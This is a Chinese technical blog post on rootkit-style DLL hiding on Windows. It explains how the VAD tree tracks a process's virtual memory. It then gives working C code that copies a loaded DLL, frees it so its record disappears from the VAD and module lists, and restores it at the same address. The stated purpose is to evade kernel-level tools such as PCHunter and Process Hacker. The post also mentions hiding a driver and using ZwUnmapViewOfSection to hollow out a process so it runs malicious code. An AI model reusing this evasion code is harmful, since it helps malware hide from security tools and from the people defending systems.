[Rootkit] dll 隐藏 - VAD

3环下要想隐藏dll,仅仅靠断链和抹去PE头信息是不够的;这样做能骗过同样在3环运行的调试器,但是骗不过在0环通过驱动做检测的PChunter、Process Hacker等工具;要想彻底隐藏,需要更进一步搞定驱动层的各种检测,下面会详细介绍隐藏的细节原理和操作方法!

1、VAD 虚拟内存管理

内存分两种:物理内存和虚拟内存;操作系统和进程共享物理内存,进程独享虚拟内存;物理内存可以通过CR3在进程之间互相隔离,确保进程之间互不侵犯;那么进程内部的虚拟地址该怎么管理了? 32位下,每个进程独享4GB内存,怎么知道哪些内存已经使用过,哪些没用过? 已经使用的内存,是可读可写可执行的么? 还是只读的了? 该怎么记录这些关键信息了?windwos采用一种叫做virtual address descripot的自平衡二叉树来管理虚拟内存,低端的内存地址放在根节点左子树,高端内存地址放根节点右子树,大致的结构如下:每当进程调用virtualAlloc分配虚拟内存时,操作系统会先遍历这个树,看看还有哪些地方的虚拟内存还未使用,然后返回给开发人员:

在这里插入图片描述

windbg能查到每个进程VAD的root节点:

在这里插入图片描述

VAD里面也记录了该进程dll的使用情况。

在这里插入图片描述

当内存使用完毕,建议立即调用VirtualFree,将这段虚拟内存从VAD从抹去,后续再次遍历时才能继续使用!正常情况下,如果要卸载dll,可以调用windwos提供的freeLibrary接口,里面有关键的函数:ZwUnmapViewOfSection,可以直接把dll对应的内存从VAD中删除(这里多说两句:ZwUnmapViewOfSection 功能很强大,可以替换进程的代码,让其称为傀儡执行恶意的代码)。

2、之前分享过一个驱动隐藏的思路(https://www.cnblogs.com/theseventhson/p/13170445.html): 让driver entry返回false,操作系统会认为驱动加载失败,不会记录。但在driverentry里面把自己想要执行的代码拷贝到堆上,然后将代码入口点作为imageLoad回调函数的入口点。虽然驱动加载“失败”,但代码已经拷贝到堆,并且注册成为了回调函数,dll隐藏也可以借鉴类似的思路:

  • 先重新申请一个新空间,把需要隐藏的dll拷贝到新空间备份
  • 用freelibrary释放需要隐藏的dll,VAD中会删除这个dll的。此时如果eip跳转到dll执行,肯定报错
  • 重新用virtualAlloc申请原dll地址,再把第一步备份的原dll代码拷贝到这次申请的地址(其实就是dll原来加载的地址)
  • 此时如果eip跳转到这个地址执行代码是ok的

这么做的本质是:把dll从vad的记录中抹去,重新申请内存来存放dll的代码。虽说在vad还是有内存的使用记录,但因为并未使用loadlibrary,所以也不会在vad中留下dll的记录(这是本质是把dll变相当成shellcode在用,至于全局变量、导入函数、重定位这些,由编译器和操作系统都做好了,不需要开发人员操心);核心代码如下:

/************************************************************************/
/* 把当前进程的所有DLL(除开需要隐藏的那个)都使用LoadLibrary再次加载一边,增加引用计数,                */
/* 使得Free时对应的DLL资源不释放                                            */
/************************************************************************/

void LockAllModules()
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());

    if (hSnapshot != INVALID_HANDLE_VALUE)
    {
        MODULEENTRY32 me = { sizeof(me) };

        BOOL fOk = Module32First(hSnapshot, &me);
        for (fOk = Module32Next(hSnapshot, &me); fOk; fOk = Module32Next(hSnapshot, &me))
        {
            //跳过第一个(自身)  
            CString wInfo;
            wInfo.Format(_T("%s"), me.szModule);
            wInfo.MakeLower();
            if (wInfo != _T("dlls.dll"))LoadLibrary(me.szModule);//加载除了dlls.dll以外的所有内存
        }
    }
}

BOOL CopycatAndHide(HMODULE hDll)
{
    // 整体思路:先把DLL加载到当前进程,然后将该加载的DLL再备份到当前进程空间;  
    // 接下来该DLL再Free了,此时进程再访问该DLL的话会出错;  
    // Free后,再把预先备份的DLL数据还原,而且还原的数据地址是原先DLL加载的地址  
    // 如此,进程内再调用该DLL的话,由于数据完整,一切OK  

    DWORD g_dwImageSize = 0;
    VOID* g_lpNewImage = NULL;

    IMAGE_DOS_HEADER* pDosHeader;
    IMAGE_NT_HEADERS* pNtHeader;
    IMAGE_OPTIONAL_HEADER* pOptionalHeader;
    LPVOID lpBackMem = 0;
    DWORD dwOldProtect;
    DWORD dwCount = 30;


    pDosHeader = (IMAGE_DOS_HEADER*)hDll;
    pNtHeader = (IMAGE_NT_HEADERS*)(pDosHeader->e_lfanew + (DWORD)hDll);
    pOptionalHeader = (IMAGE_OPTIONAL_HEADER*)&pNtHeader->OptionalHeader;

    LockAllModules();

    // 找一块内存把需要隐藏而且已经加载到内存的DLL备份  
    // SizeOfImage,4个字节,表示程序调入后占用内存大小(字节),等于所有段的长度之和。  
    lpBackMem = VirtualAlloc(0, pOptionalHeader->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!lpBackMem)
        return FALSE;
    if (!VirtualProtect((LPVOID)hDll, pOptionalHeader->SizeOfImage, PAGE_EXECUTE_READWRITE, &dwOldProtect))
        return FALSE;

    g_dwImageSize = pOptionalHeader->SizeOfImage;
    memcpy(lpBackMem, (LPVOID)hDll, g_dwImageSize);
    // 抹掉PE头  
    //memset(lpBackMem, 0, 0x200);
    *((PBYTE)hDll + pOptionalHeader->AddressOfEntryPoint) = (BYTE)0xc3;

    //  DWORD dwRet =0;  
    // Free掉DLL  
    do
    {
        dwCount--;
    } while (FreeLibrary(hDll) && dwCount);

    // 把备份的DLL数据还原回来,使得预先引用该DLL的程序能够继续正常运行  
    g_lpNewImage = VirtualAlloc((LPVOID)hDll, g_dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (g_lpNewImage != (LPVOID)hDll)
        return FALSE;

    memcpy(g_lpNewImage, lpBackMem, g_dwImageSize);
    VirtualFree(lpBackMem, 0, MEM_RELEASE);

    return TRUE;
}

参考:

1、https://wenku.baidu.com/view/439526b369dc5022aaea0077 内存管理

2、https://bbs.pediy.com/thread-257179.htm VC黑防日记(二):DLL隐藏和逆向

3、https://blog.csdn.net/arbboter/article/details/38260973 DLL隐藏技术

4、https://bbs.pediy.com/thread-153508.htm 进程替换

  • 2
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值